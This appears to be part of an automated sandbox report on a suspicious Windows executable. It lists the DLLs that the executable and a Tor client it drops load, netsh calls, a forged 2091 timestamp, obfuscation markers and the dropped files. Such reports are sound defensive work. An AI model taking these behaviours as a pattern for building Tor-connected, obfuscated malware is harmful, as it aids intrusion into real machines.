Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: httpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: avicap32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: msvfw32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libevent-2-1-7.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libssp-0.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libssp-0.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libgcc_s_sjlj-1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libwinpthread-1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libwinpthread-1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libcrypto-1_1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libssl-1_1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: zlib1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: libcrypto-1_1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\chcp.com Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\file.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Binary contains a suspicious time stamp
Source: file.exe Static PE information: 0xE480C158 [Mon Jun 25 20:55:52 2091 UTC]
PE file contains sections with non-standard names
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /4
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /19
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /31
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /45
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /57
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /70
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /81
Source: libcrypto-1_1.dll.6.dr Static PE information: section name: /92
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /4
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /19
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /31
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /45
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /57
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /70
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /81
Source: libevent_core-2-1-7.dll.6.dr Static PE information: section name: /92
Source: libssl-1_1.dll.6.dr Static PE information: section name: /4
Source: libssl-1_1.dll.6.dr Static PE information: section name: /19
Source: libssl-1_1.dll.6.dr Static PE information: section name: /31
Source: libssl-1_1.dll.6.dr Static PE information: section name: /45
Source: libssl-1_1.dll.6.dr Static PE information: section name: /57
Source: libssl-1_1.dll.6.dr Static PE information: section name: /70
Source: libssl-1_1.dll.6.dr Static PE information: section name: /81
Source: libssl-1_1.dll.6.dr Static PE information: section name: /92
Source: libssp-0.dll.6.dr Static PE information: section name: /4
Source: libssp-0.dll.6.dr Static PE information: section name: /19
Source: libssp-0.dll.6.dr Static PE information: section name: /31
Source: libssp-0.dll.6.dr Static PE information: section name: /45
Source: libssp-0.dll.6.dr Static PE information: section name: /57
Source: libssp-0.dll.6.dr Static PE information: section name: /70
Source: libssp-0.dll.6.dr Static PE information: section name: /81
Source: libssp-0.dll.6.dr Static PE information: section name: /92
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /4
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /19
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /31
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /45
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /57
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /70
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /81
Source: libwinpthread-1.dll.6.dr Static PE information: section name: /92
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /4
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /19
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /31
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /45
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /57
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /70
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /81
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: section name: /92
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /4
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /19
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /31
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /45
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /57
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /70
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /81
Source: libevent-2-1-7.dll.6.dr Static PE information: section name: /92
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /4
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /19
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /31
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /45
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /57
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /70
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /81
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: section name: /92
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8B4312 push ss; ret 6_2_00007FFD9B8B42D7
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8B42C2 push ss; ret 6_2_00007FFD9B8B42D7
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8AE7D3 push E8FFFFFDh; ret 6_2_00007FFD9B8AE7D9
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 7_2_00007FFD9B89477E push ds; iretd 7_2_00007FFD9B89477F
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 8_2_00007FFD9B88477E push ds; iretd 8_2_00007FFD9B88477F
Drops PE files
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libssl-1_1.dll Jump to dropped file
